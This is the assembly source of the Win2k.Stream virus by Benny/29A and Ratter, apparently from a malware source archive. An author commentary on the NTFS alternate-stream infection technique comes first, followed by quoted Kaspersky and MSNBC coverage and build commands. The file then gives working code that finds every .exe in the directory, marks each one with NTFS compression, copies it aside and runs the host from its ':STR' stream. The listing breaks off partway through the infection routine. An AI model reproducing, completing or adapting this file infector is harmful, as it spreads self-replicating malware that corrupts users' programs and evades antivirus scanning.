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MalwareSourceCode/LegacyWindows/Win2k/Win2k.Stream.asm

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COMMENT#
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD> Win2k.Stream <EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD> by Benny/29A and Ratter <EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Let us introduce very small and simple infector presenting how to use features
of NTFS in viruses. This virus loox like standard Petite-compressed PE file.
However, it presents the newest way of PE file infecting method.
How the virus worx? It uses streamz, the newest feature of NTFS filesystem
and file compression, already implemented in old NTFS fs.
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD> Basic principles of NTFS streamz <EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
How the file loox? Ya know that the file contains exactly the same what you can
see when you will open it (e.g. in WinCommander). NTFS, implemented by
Windows 2000, has new feature - the file can be divided to streamz. The content
what you can see when you will open the file is called Primary stream - usually
files haven't more than one stream. However, you can create NEW stream ( = new
content) in already existing file without overwritting the content.
Example:
addressing of primary stream -> <filename> e.g. "calc.exe"
addressing of other streamz -> <filename>:<stream name> e.g. "calc.exe:stream"
If you have NTFS, you can test it. Copy to NTFS for instance "calc.exe", and
then create new file "calc.exe:stream" and write there "blahblah". Open
"calc.exe". Whats there? Calculator ofcoz. Now open "calc.exe:stream". Whats
there? "blahblah", the new file in the old one :)
Can you imagine how useful r streamz for virus coding?
The virus infects file by moving the old content to the new stream and replacing
the primary stream with virus code.
File (calc.exe) before infection:
<EFBFBD><EFBFBD>Calc.exe<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
<EFBFBD><EFBFBD><EFBFBD>Primary stream (visible part)Ŀ<EFBFBD>
<EFBFBD><EFBFBD> Calculator <EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٺ
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
File (calc.exe) after infection:
<EFBFBD><EFBFBD>Calc.exe<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
<EFBFBD><EFBFBD><EFBFBD>Primary stream (calc.exe)Ŀ<EFBFBD><EFBFBD>Next stream (calc.exe:STR)Ŀ <EFBFBD>
<EFBFBD><EFBFBD> Virus <EFBFBD><EFBFBD> Calculator <EFBFBD> <EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
Simple and efficent, ain't it?
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD> Details of virus <EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* The virus infects all EXE files in actual directory.
* The virus uses as already-infected mark file compression. All infected
files are compressed by NTFS and virus then does not infect already
compressed files. Well, almost all files after infection r smaller than
before, so user won't recognize virus by checking free disk space :)
* If user will copy the infected file to non-NTFS partition (in this case
only primary stream is copied), the host program will be destroyed and
instead of running host program virus will show message box. That can
be also called as payload :P
* The virus is very small, exactly 3628 bytes, becoz it's compressed by
Petite 2.1 PE compression utility (http://www.icl.ndirect.co.uk/petite/).
* The disinfection is very easy - just copy the content of <file>:STR to
<file> and delete <file>:STR. If you want to create sample of infected
file, then just copy the virus to some file and copy any program (host
program) to <file>:STR. Thats all! However, AVerz have to rebuild their
search engine to remove this virus, becoz until now, they had no fucking
idea what are streamz :)
* This virus was coded in Czech Republic by Benny/29A and Ratter, on our
common VX meeting at Ratter's city... we just coded it to show that
Windows 2000 is just another OS designed for viruses... it really is :)
* We would like to thank GriYo for pointing us to NTFS new features.
The fame is also yourz, friend!
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD> In the media <EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
AVP's description:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This is the first known Windows virus using the "stream companion" infection
method. That method is based on an NTFS feature that allows to create multiple
data streams associated with a file.
*NTFS Streams*
---------------
Each file contains at least one default data stream that is accessed just by
the file name. Each file may also contain additional stream(s) that can be
accessed by their personal names (filename:streamname).
The default file stream is the file body itself (in pre-NTFS terms). For
instance, when an EXE file is executed the program is read from the default
file stream; when a document is opened, its content is also read from the
default stream.
Additional file streams may contain any data. The streams cannot be accessed or
modified without reference to the file. When the file is deleted, its streams
are deleted as well; if the file is renamed, the streams follow its new name.
In the Windows package there is no standard tool to view/edit file streams. To
"manually" view file streams you need to use special utilities, for instance
the FAR utility with the file steams support plug-in (Ctrl-PgDn displays file
streams for selected file).
*Virus Details*
----------------
The virus itself is a Windows application (PE EXE file) compressed using the
Petite PE EXE file compressor and is about 4K in size. When run it infects all
EXE files in the current directory and then returns control to the host file.
If any error occurs, the virus displays the message:
Win2k.Stream by Benny/29A & Ratter
This cell has been infected by [Win2k.Stream] virus!
While infecting a file the virus creates a new stream associated with the victim
file. That stream has the name "STR", i.e. the complete stream name is
"FileName:STR". The virus then moves the victim file body to the STR stream
(default stream, see above) and then overwrites the victim file body (default
stream) with its (virus) code.
As a result, when an infected file is executed Windows reads the default stream
(which is overwritten by virus code) and executes it. Also, Windows reports the
same file size for all infected files - that is the virus length.
To release control to the host program the virus just creates a new process by
accessing the original file program using the name "FileName:STR".
That infection method should work on any NTFS system, but the virus checks the
system version and runs only under Win2000.
AVP's press release:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*A New Generation of Windows 2000 Viruses is Streaming Towards PC Users*
------------------------------------------------------------------------
Moscow, Russia, September 4, 2000 <EFBFBD> Kaspersky Lab announces the discovery of
W2K.Stream virus, which represents a new generation of malicious programs for
Windows 2000. This virus uses a new breakthrough technology based on the
"Stream Companion" method for self-embedding into the NTFS file system.
The virus originates from the Czech Republic and was created at the end of
August by the hackers going by the pseudonyms of Benny and Ratter. To date,
Kaspersky Lab has not registered any infections resulting from this virus;
however, its working capacity and ability for existence "in-the-wild" are
unchallenged.
"Certainly, this virus begins a new era in computer virus creation," said
Eugene Kaspersky, Head of Anti-Virus Research at Kaspersky Lab. "The <EFBFBD>Stream
Companion<EFBFBD> technology the virus uses to plant itself into files makes its
detection and disinfection extremely difficult to complete.<EFBFBD>
Unlike previously known methods of file infection (adding the virus body at
beginning, ending or any other part of a host file), the "Stream" virus
exploits the NTFS file system (Windows NT/2000) feature, which allows multiple
data streams. For instance, in Windows 95/98 (FAT) files, there is only one
data stream <EFBFBD> the program code itself. Windows NT/2000 (NTFS) enables users
to create any number of data streams within the file: independent executable
program modules, as well as various service streams (file access rights,
encryption data, processing time etc.). This makes NTFS files very flexible,
allowing for the creation of user-defined data streams aimed at completing
specific tasks.
"Stream" is the first known virus that uses the feature of creating multiple
data streams for infecting files of the NTFS file system (see picture 1). To
complete this, the virus creates an additional data stream named "STR" and
moves the original content of the host program there. Then, it replaces the
main data stream with the virus code. As a result, when the infected program
is run, the virus takes control, completes the replicating procedure and then
passes control to the host program.
*"Stream" file infection procedure*
------------------------------------
File before infection File after infection
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD> main stream<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD> virus body<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>main stream<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>program body<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD>additional stream<EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD>program body<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD>service streams<EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD>service streams<EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
"By default, anti-virus programs check only the main data stream. There will be
no problems protecting users from this particular virus," Eugene Kaspersky
continues. "However, the viruses can move to additional data streams. In this
case, many anti-virus products will become obsolete, and their vendors will be
forced to urgently redesign their anti-virus engines."
In MSNBC's news:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*New trick can hide computer viruses*
*But experts question danger posed by <EFBFBD>Stream<EFBFBD> technology*
-----------------------------------------------------------
Sept. 6 <EFBFBD> A new kind of computer virus has been released, but security experts
are in disagreement over just how menacing it is. The virus demonstrates a
technique that future writers can use to hide their malicious software from
most current antivirus scanners. But some antivirus companies are playing down
the threat.
THE VIRUS, CALLED W2K.STREAM, poses little threat <EFBFBD> it was written as a
relatively benign <EFBFBD>proof of concept.<EFBFBD> But, according to a source who requested
anonymity, it was posted on several virus writer Web sites over Labor Day
weekend <EFBFBD> making copycats possible.
The virus takes advantage of a little-used feature included in Windows 2000 and
older Windows NT systems that allows programs to be split into pieces called
streams. Generally, the body of a program resides in the main stream. But other
streams can be created to store information related to what<EFBFBD>s in the main
stream. Joel Scambray, author of <EFBFBD>Hacking Exposed,<EFBFBD> described these additional
streams as <EFBFBD>Post-it notes<EFBFBD> attached to the main file.
The problem is that antivirus programs only examine the main stream. W2K.Stream
demonstrates a programmer<EFBFBD>s ability to create an additional stream and hide
malicious code there.
<EFBFBD>Certainly, this virus begins a new era in computer virus creation,<EFBFBD> said
Eugene Kaspersky, Head of Anti-Virus Research at Kaspersky Lab, in a press
release. <EFBFBD>The <EFBFBD>Stream Companion<EFBFBD> technology the virus uses to plant itself into
files makes its detection and disinfection extremely difficult to complete.<EFBFBD>
*THIS BUG ISN<EFBFBD>T DANGEROUS*
---------------------------
No W2K.stream infections have been reported, and experts don<EFBFBD>t believe the
virus is <EFBFBD>in the wild<EFBFBD> <EFBFBD> circulating on the Internet <EFBFBD> yet. At any rate, this
virus actually makes things easy for antivirus companies. If a user is
infected, the program creates an alternate stream and places the legitimate
file in this alternate location; the virus replaces it as the main stream. That
makes detection by current antivirus products easy. But future viruses could
do just the opposite, evading current antivirus products.
One antivirus researcher who requested anonymity called release of the bug
<EFBFBD>somewhat akin to the first macro virus.<EFBFBD> He added that reengineering antivirus
software to scan for multiple streams would be a complicated effort.
<EFBFBD>In this case, many anti-virus products will become obsolete, and their vendors
will be forced to urgently redesign their anti-virus engines,<EFBFBD> Kaspersky said.
*AN OLD ISSUE*
---------------
There is nothing new about the potential of exploiting the multiple stream
issue; Scambray hints at the problem in the book <20>Hacking Exposed,<2C> and
described it even more explicitly in a 1998 Infoworld.com article.
The SANS Institute, a group of security researchers, issued an <EFBFBD>alert<EFBFBD>
criticizing antivirus companies for not updating their products to scan the
contents of any file stream earlier.
<EFBFBD>We found that the scanners were incapable of identifying viruses stored within
an alternate data stream,<EFBFBD> the report said. <EFBFBD>For example if you create the file
MyResume.doc:ILOVEYOU.vbs and store the contents of the I Love You virus within
the alternate data stream file, none of the tested virus scanners were capable
of finding the virus during a complete disk scan.<EFBFBD>
But some antivirus companies described the threat as minimal because the
alternate stream trick only hides the bug while it<EFBFBD>s stored on a victim<EFBFBD>s
computer. Pirkka Palomaki, Director of Product Marketing for F-Secure Corp.,
said for the virus to actually run, it has to come out of hiding and load into
main memory.
<EFBFBD>It would be detected as it tried to activate,<EFBFBD> Palomaki said. <EFBFBD>But this
signifies importance of real-time protection.<EFBFBD> He added the virus would still
have to find its way onto a victim<EFBFBD>s computer; and that victim would have to
be tricked into installing the virus using one of the traditional methods,
such as clicking on an infected e-mail attachment.
<EFBFBD>It could increase the ability to for scanners to miss something,<EFBFBD> said Pat
Nolan, virus researcher at McAfee Corp. <EFBFBD>But we<EFBFBD>re on top of it. If there is
a vulnerability, it will be short-lived.<EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD> How to compile it? <EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Use Petite version 2.1 (http://www.icl.ndirect.co.uk/petite/).
tasm32 /ml /m9 /q stream
tlink32 -Tpe -c -x -aa stream,,,import32
pewrsec stream.exe
petite -9 -e2 -v1 -p1 -y -b0 -r* stream.exe
And here comes the virus source...
#
.586p
.model flat,stdcall
include win32api.inc ;include filez
include useful.inc
extrn ExitProcess:PROC ;used APIz
extrn VirtualFree:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn FindClose:PROC
extrn WinExec:PROC
extrn GetCommandLineA:PROC
extrn GetModuleFileNameA:PROC
extrn DeleteFileA:PROC
extrn ReadFile:PROC
extrn CopyFileA:PROC
extrn WriteFile:PROC
extrn CreateFileA:PROC
extrn CloseHandle:PROC
extrn MessageBoxA:PROC
extrn GetFileSize:PROC
extrn VirtualAlloc:PROC
extrn DeviceIoControl:PROC
extrn GetFileAttributesA:PROC
extrn GetTempFileNameA:PROC
extrn CreateProcessA:PROC
extrn GetVersion:PROC
FSCTL_SET_COMPRESSION equ 9 shl 16 or 3 shl 14 or 16 shl 2
;compression flag
STARTUPINFO STRUCT ;used by CreateProcessA API
cb DWORD ?
lpReserved DWORD ?
lpDesktop DWORD ?
lpTitle DWORD ?
dwX DWORD ?
dwY DWORD ?
dwXSize DWORD ?
dwYSize DWORD ?
dwXCountChars DWORD ?
dwYCountChars DWORD ?
dwFillAttribute DWORD ?
dwFlags DWORD ?
wShowWindow WORD ?
cbReserved2 WORD ?
lpReserved2 DWORD ?
hStdInput DWORD ?
hStdOutput DWORD ?
hStdError DWORD ?
STARTUPINFO ENDS
PROCESS_INFORMATION STRUCT
hProcess DWORD ?
hThread DWORD ?
dwProcessId DWORD ?
dwThreadId DWORD ?
PROCESS_INFORMATION ENDS
@pushvar macro variable, empty ;macro for pushing variablez
local next_instr
ifnb <empty>
%out too much arguments in macro '@pushvar'
.err
endif
call next_instr
variable
next_instr:
endm
.data
extExe db '*.exe',0 ;search mask
fHandle dd ? ;file search handle
file_name db MAX_PATH dup(?) ;actual program name
db MAX_PATH dup(?)
file_name2 db MAX_PATH dup(?) ;temprorary file
db 4 dup (?)
WFD WIN32_FIND_DATA ? ;win32 find data
proc_info PROCESS_INFORMATION <> ;used by CreateProcessA
startup_info STARTUPINFO <> ;...
.code
Start: ;start of virus
call GetVersion ;get OS version
cmp al,5 ;5 = Win2000
jnz msgBox ;quit if not Win2000
mov edi,offset file_name
push MAX_PATH
push edi
push 0
call GetModuleFileNameA ;get path+filename of actual
;program
push offset WFD
push offset extExe
call FindFirstFileA ;find first file to infect
test eax,eax
jz end_host
mov [fHandle],eax ;save handle
search_loop:
call infect ;try to infect file
push offset WFD
push dword ptr [fHandle]
call FindNextFileA ;try to find next file
test eax,eax
jne search_loop ;and infect it
push dword ptr [fHandle]
call FindClose ;close file search handle
end_host:
mov esi,offset file_name ;get our filename
push esi
@endsz
dec esi
mov edi,esi
mov eax,"RTS:" ;append there :"STR" stream
stosd ;name
pop esi
call GetCommandLineA ;get command line
xchg eax,edi ;to EDI
;esi - app name
;edi - cmd line
xor eax,eax
push offset proc_info
push offset startup_info
push eax
push eax
push eax
push eax
push eax
push eax
push edi
push esi
call CreateProcessA ;jump to host code
xchg eax,ecx
jecxz msgBox ;if error, show message box
end_app:
push 0
call ExitProcess ;exit
msgBox: push 1000h ;show some lame msg box :)
@pushsz "Win2k.Stream by Benny/29A & Ratter" ;copyleft :]
@pushsz "This cell has been infected by [Win2k.Stream] virus!"
push 0 ;with name of virus and authorz
call MessageBoxA
jmp end_app
infect: push offset [WFD.WFD_szFileName]
call GetFileAttributesA ;check if the file is NTFS
test eax,800h ;compressed = already infected
jz next_infect
ret ;quit then
next_infect:
push offset [WFD.WFD_szFileName]
mov byte ptr [flagz],OPEN_EXISTING
call Create_File ;open found program
jz infect_end
xor eax,eax
push eax
@pushvar <dd ?>
push eax
push eax
push 4
@pushvar <dd 1> ;default compression
push FSCTL_SET_COMPRESSION
push ebx ;NTFS compress it =
call DeviceIoControl ;mark as already infected
; = and save disk space :)
push ebx
call CloseHandle ;close file handle
mov esi,offset file_name2
push esi
push 0
@pushsz "str"
@pushsz "."
call GetTempFileNameA ;create name for temp file
test eax,eax
jz infect_end
mov edi,offset [WFD.WFD_szFileName]
push 0
push esi
push edi
call CopyFileA ;copy there victim program
